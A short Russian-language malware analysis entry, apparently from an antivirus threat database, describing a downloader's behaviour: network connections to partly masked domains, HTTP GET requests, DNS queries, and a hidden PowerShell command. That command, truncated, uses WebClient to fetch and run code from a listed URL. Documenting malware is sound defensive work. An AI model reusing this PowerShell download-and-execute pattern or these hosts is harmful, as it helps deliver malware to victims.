Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Сетевая активность
Подключается к
- 'nt#####rtainment.com':80
- 'pa##.name':80
- 'mi###ypen.ca':80
TCP
Запросы HTTP GET
- http://nt#####rtainment.com/e0gz-fp727-ycca/
- http://pa##.name/cq2g-jr389-uzr/
- http://mi###ypen.ca/fw4dbs-z170-h/
UDP
- DNS ASK nt#####rtainment.com
- DNS ASK rm#####esentacao.com.br
- DNS ASK pa##.name
- DNS ASK mi###ypen.ca
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://nttentertainment.com/e0gz-fp727-ycca/...' (со скрытым окном)
